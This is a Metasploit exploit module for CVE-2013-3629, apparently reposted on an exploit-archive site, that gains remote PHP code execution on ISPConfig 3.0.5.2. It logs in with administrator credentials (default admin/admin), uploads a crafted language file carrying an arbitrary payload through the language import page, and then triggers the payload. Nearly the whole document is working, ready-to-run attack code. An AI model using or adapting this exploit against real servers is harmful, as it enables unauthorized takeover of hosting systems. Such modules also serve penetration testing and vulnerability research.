ISPConfig Authenticated Arbitrary PHP Code Execution [Anonymoused]

2013-10-31 16:05:10

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'ISPConfig Authenticated Arbitrary PHP Code Execution',
'Description' => %q{
ISPConfig allows an authenticated administrator to export language settings into a PHP script
which is intended to be reuploaded later to restore language settings. This feature
can be abused to run aribtrary PHP code remotely on the ISPConfig server.

This module was tested against version 3.0.5.2.
},
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-3629'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'BadChars' => "&\n=+%",
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 30 2013'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base ISPConfig directory path", '/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin']),
OptString.new('LANGUAGE', [ true, "The language to use to trigger the payload", 'es'])
], self.class)
end

def check
end

def lng
datastore['LANGUAGE']
end

def exploit

init = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/index.php')
})

if !init or init.code != 200
fail_with("Error getting initial page.")
end

sess = init.get_cookies

post = {
'username' => datastore["USERNAME"],
'passwort' => datastore["PASSWORD"],
's_mod' => 'login',
's_pg' => 'index'
}

print_status("Authenticating as user: " << datastore["USERNAME"])

login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/content.php'),
'vars_post' => post,
'cookie' => sess
})

if !login or login.code != 200
fail_with("Error authenticating.")
end

sess = login.get_cookies
fname = rand_text_alphanumeric(rand(10)+6) + '.lng'
php = "---|ISPConfig Language File|3.0.5.2|#{lng}\n"
php << "--|global|#{lng}|#{lng}.lng\n"
php << "<?php \n"
php << payload.encoded
php << "?>\n"
php << "--|mail|#{lng}|#{lng}.lng\n"
php << "<?php"
php << "?>"

data = Rex::MIME::Message.new
data.add_part(php, 'application/x-php', nil, "form-data; name=\"file\"; filename=\"#{fname }\"")
data.add_part('1', nil, nil, 'form-data; name="overwrite"')
data.add_part('1', nil, nil, 'form-data; name="ignore_version"')
data.add_part('', nil, nil, 'form-data; name="id"')

data_post = data.to_s

print_status("Sending payload")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/language_import.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post,
'cookie' => sess
})

post = {
'lng_select' => 'es'
}

print_status("Triggering payload...")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/language_complete.php'),
'vars_post' => post,
'cookie' => sess
})
end
end

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.